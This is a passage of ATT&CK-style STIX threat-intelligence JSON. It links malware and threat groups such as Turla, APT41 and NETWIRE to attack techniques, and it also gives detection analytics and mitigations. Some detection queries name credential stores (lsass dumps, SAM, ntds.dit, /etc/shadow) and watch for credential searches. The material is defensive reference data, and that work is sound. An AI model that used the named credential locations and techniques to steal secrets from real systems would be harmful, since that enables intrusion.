2021)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad0a3982-7d88-4037-9078-000cb4d5746e","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.","source_ref":"x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd","target_ref":"attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad0b78f7-37e9-489b-b4ae-ee9c3d8a2075","type":"relationship","created":"2021-01-11T19:29:56.371Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Red Canary NETWIRE January 2020","url":"https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/","description":"Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."},{"source_name":"Proofpoint NETWIRE December 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns","description":"Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."}],"modified":"2021-01-12T18:38:41.559Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can issue commands using cmd.exe.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad13d567-26ad-46bf-86ba-e2b050d31820","created":"2023-12-27T18:00:47.678Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-12T18:59:02.509Z","description":"Monitor for the unexpected creation of memory dump files for processes that may contain credentials.\n\nAnalytic 1 - Unexpected memory dump file creation.\n\n(index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*lsass*.dmp\", \"*\\\\config\\\\SAM\", \"*\\\\ntds.dit\", \"*\\\\policy\\\\secrets\", \"*\\\\cache\"))\nOR \n(index=security sourcetype=\"linux_secure\" (key=\"path\" value IN (\"/etc/passwd\", \"/etc/shadow\")))\nOR \n(index=security sourcetype=\"macOS:UnifiedLog\" message IN (\"/var/db/shadow/hash/*\", \"/private/etc/master.passwd\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad1695a7-76ee-493c-a983-9fa240b8ebb6","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T17:16:42.308Z","description":"Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. Monitor for updates to IAM policies and roles attached to user accounts.\n\nAnalytic 1 - Unusual ActorPrincipalNames, unexpected role assignments to sensitive roles (e.g., Global Admin)\n\nNote: To detect the assignment of additional cloud roles using potentially hijacked accounts.\n\n \"index=\"\"azure_ad_audit_logs\"\" Category=\"\"RoleManagement\"\" Activity=\"\"Add member to role\"\"\n| search ActorPrincipalName=\"\"*\"\" AND (Target1ModifiedProperty1NewValue=\"\"Global Administrator\"\" OR Target1ModifiedProperty2NewValue=\"\"Global Administrator\"\") AND IPAddress!=\"\"expected_ip\"\"\n| table Time, ActorPrincipalName, IPAddress, Target1UserPrincipalName, Target1ModifiedProperty1NewValue\"","relationship_type":"detects","source_ref":"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77","target_ref":"attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad1d9fc5-b971-4a89-a099-128317dd1e41","type":"relationship","created":"2021-06-30T19:41:41.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-10-15T22:57:32.934Z","description":"[Nebulae](https://attack.mitre.org/software/S0630) uses functions named StartUserModeBrowserInjection and StopUserModeBrowserInjection indicating that it's trying to imitate chrome_frame_helper.dll.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad1dbd46-fe1c-40e3-ab1c-957f6d62839a","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:43:12.751Z","description":"Monitor newly executed processes that may search compromised systems to find and obtain insecurely stored credentials.\n\nAnalytic 1 - New processes with parameters indicating credential searches.\n\n (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=os sourcetype=\"linux_audit\" action=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad218869-4efa-423e-9ab2-1da36ce694fb","type":"relationship","created":"2022-03-30T14:26:51.873Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.873Z","description":"Monitor for changes made to files that may establish persistence by executing malicious content triggered by an interrupt signal.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad257565-2097-4cdc-9a52-3e54a7188f02","type":"relationship","created":"2020-03-12T17:20:43.096Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CoinTicker 2019","url":"https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/","description":"Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019."}],"modified":"2020-03-12T17:20:43.096Z","description":"[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.(Citation: CoinTicker 2019)\t","relationship_type":"uses","source_ref":"malware--d1531eaa-9e17-473e-a680-3298469662c3","target_ref":"attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad278368-be64-497f-abc3-024ee8447ef8","created":"2022-05-26T14:19:08.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DFIR Phosphorus November 2021","description":"DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.","url":"https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"},{"source_name":"DFIR Report APT35 ProxyShell March 2022","description":"DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.","url":"https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-01-10T19:20:48.282Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) has exported emails from compromised Exchange servers including through use of the cmdlet `New-MailboxExportRequest.`(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad2efb21-6884-422f-8e89-fc0b1d2dcbb0","type":"relationship","created":"2019-06-20T20:53:17.550Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.","url":"https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/","source_name":"ESET Turla PowerShell May 2019"},{"source_name":"Symantec Waterbug Jun 2019","url":"https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments","description":"Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."}],"modified":"2019-07-14T21:04:45.412Z","description":"[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad3298b6-8cb5-4c4e-b2be-e058273c15be","type":"relationship","created":"2020-05-08T18:41:16.441Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Inception Framework March 2018","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies","description":"Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020."}],"modified":"2020-05-08T18:41:16.441Z","description":"[Inception](https://attack.mitre.org/groups/G0100) used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.(Citation: Symantec Inception Framework March 2018)","relationship_type":"uses","source_ref":"intrusion-set--ead23196-d7b6-4ce6-a124-4ab4b67d81bd","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad32e902-6f48-4c8f-bc3d-2fc06f045eed","created":"2020-03-09T13:41:14.487Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft PS JEA","description":"Microsoft. (2022, November 17). Just Enough Administration. Retrieved March 27, 2023.","url":"https://learn.microsoft.com/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.3"},{"source_name":"Netspi PowerShell Execution Policy Bypass","description":"Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved September 12, 2024.","url":"https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T17:41:34.769Z","description":"When PowerShell is necessary, consider restricting PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.(Citation: Netspi PowerShell Execution Policy Bypass)\n\nPowerShell JEA (Just Enough Administration) may also be used to sandbox administration and limit what commands admins/users can execute through remote PowerShell sessions.(Citation: Microsoft PS JEA)","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad39bd23-1dd8-4725-bf00-74c0e564215f","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Microsoft PLATINUM April 2016","description":"Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.","url":"https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"}],"modified":"2020-03-16T16:57:38.789Z","description":"[JPIN](https://attack.mitre.org/software/S0201) can obtain system information such as OS version and disk space.(Citation: Microsoft PLATINUM April 2016)","relationship_type":"uses","source_ref":"malware--de6cb631-52f6-4169-a73b-7965390b0c30","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad3bca07-c2d2-411f-9bd8-bf4e1142d9ae","type":"relationship","created":"2019-01-29T20:17:49.278Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.","url":"https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/","source_name":"Unit 42 Tropic Trooper Nov 2016"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T03:23:28.048Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has created the Registry key HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell and sets the value to establish persistence.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad3eae0f-becd-4ed8-94cf-40a4e1a06a9d","created":"2019-09-24T12:42:37.642Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.537Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used legitimate executables to perform DLL side-loading of their malware.(Citation: FireEye APT41 Aug 2019) ","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad3eb54c-0f67-42b8-b4cf-060ab6057b79","type":"relationship","created":"2019-06-28T17:40:32.405Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cyphort EvilBunny Dec 2014","url":"https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/","description":"Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019."}],"modified":"2019-07-01T18:16:33.088Z","description":"[EvilBunny](https://attack.mitre.org/software/S0396) has deleted the initial dropper after running through the environment checks.(Citation: Cyphort EvilBunny Dec 2014)","relationship_type":"uses","source_ref":"malware--a8a778f5-0035-4870-bb25-53dc05029586","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad3f239b-8a48-40dd-aa07-71fddb19e275","type":"relationship","created":"2021-07-02T14:18:53.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bitdefender Naikon April 2021","url":"https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf","description":"Vrabie, V. (2021, April 23). NAIKON – Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}],"modified":"2021-07-02T14:27:03.300Z","description":"[RainyDay](https://attack.mitre.org/software/S0629) can use a file exfiltration tool to collect recently changed files with specific extensions.(Citation: Bitdefender Naikon April 2021)","relationship_type":"uses","source_ref":"malware--29231689-5837-4a7a-aafc-1b65b3f50cc7","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad410271-db42-45b4-a5a5-6133bba495ce","created":"2024-10-07T21:49:20.457Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-07T21:49:20.457Z","description":"Implement multi-factor authentication (MFA) delete for cloud storage resources, such as AWS S3 buckets, to prevent unauthorized deletion of critical data and infrastructure. MFA delete requires additional authentication steps, making it significantly more difficult for adversaries to destroy data without proper credentials. This additional security layer helps protect against the impact of data destruction in cloud environments by ensuring that only authenticated actions can irreversibly delete storage or machine images.","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad468c12-9454-4c78-8cfe-2ac1d3ae2c45","created":"2022-04-18T18:47:44.609Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-10T16:15:02.533Z","description":"Monitor log entries from browsers, Office applications, and third-party applications for suspicious behavior, such as crashes, abnormal terminations, or instability that could indicate an attempted exploit.\n\nAnalytic 1 - logs related to application crashes or unexpected behavior, which could signal an attempt to exploit vulnerabilities.\n\nsourcetype=WinEventLog:Application EventCode=1000\n| search application IN (\"chrome.exe\", \"firefox.exe\", \"winword.exe\", \"excel.exe\", \"acrord32.exe\", \"flashplayer.exe\")\n| stats count by application event_description\n| where event_description IN (\"crash\", \"instability\", \"unexpected termination\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad4a2d0b-a268-4334-903c-153858088138","type":"relationship","created":"2021-08-31T15:25:13.471Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture MUDCARP March 2019","url":"https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies","description":"Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021."}],"modified":"2021-08-31T15:25:13.471Z","description":"[Leviathan](https://attack.mitre.org/groups/G0065) has utilized OLE as a method to insert malicious content inside various phishing documents. (Citation: Accenture MUDCARP March 2019)","relationship_type":"uses","source_ref":"intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e","target_ref":"attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad4acffd-0f97-4e13-84ad-1290b1884ab5","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-15T13:18:51.863Z","description":"It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAnalytic 1 - Failed or unusual logon attempts using compromised credentials.\n\n index=security sourcetype=\"aws:cloudtrail\" eventName=\"ConsoleLogin\" (errorMessage=\"Failed authentication\" OR errorMessage=\"Invalid login attempt\") OR\nindex=security sourcetype=\"azure:activity\" operationName=\"Sign-in activity\" (status=\"Failed\" OR status=\"Error\") OR\nindex=security sourcetype=\"gcp:activity\" protoPayload.methodName=\"google.iam.v1.logging.GetPolicy\" (protoPayload.status.message=\"Failed\" OR protoPayload.status.message=\"Invalid login attempt\")","relationship_type":"detects","source_ref":"x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e","target_ref":"attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ad4bc41d-9079-4885-b986-1d558990fb46","created":"2023-09-20T15:07:17.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike TELCO BPO Campaign December 2022","description":"Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.","url":"https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:35:31.331Z","description":"During [C0027](https://attack.mitre.org/campaigns/C0027), [Scattered Spider](https://attack.mitre.org/groups/G1015) impersonated legitimate IT personnel in phone calls and text messages either to direct victims to a credential harvesting site or getting victims to run commercial remote monitoring and management (RMM) tools.(Citation: Crowdstrike TELCO BPO Campaign December 2022)","relationship_type":"uses","source_ref":"campaign--df74f7ad-b10d-431c-9f1d-a2bc18dadefa","target_ref":"attack-pattern--c9e0c59e-162e-40a4-b8b1-78fab4329ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad4bd339-7416-45de-8202-f91c6909be05","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Reaver Nov 2017","description":"Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"}],"modified":"2020-03-17T02:22:51.805Z","description":"[Reaver](https://attack.mitre.org/software/S0172) drops and executes a malicious CPL file as its payload.(Citation: Palo Alto Reaver Nov 2017)","relationship_type":"uses","source_ref":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","target_ref":"attack-pattern--4ff5d6a8-c062-4c68-a778-36fc5edd564f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad50f322-18b6-43c7-bf6b-f77f4932fdad","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"DustySky","description":"ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.","url":"https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"}],"modified":"2021-04-27T19:53:40.882Z","description":"[DustySky](https://attack.mitre.org/software/S0062) checks for the existence of anti-virus.(Citation: DustySky)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ad595353-854a-4e2d-b569-7cbe7130015d","type":"relationship","created":"2019-01-29T21:57:39.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Accenture Dragonfish Jan 2018","url":"https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf","description":"Accenture Security. (2018, January 27). DRAGONFISH DELIVERS NEW FORM OF ELISE MALWARE TARGETING ASEAN DEFENCE MINISTERS’ MEETING AND 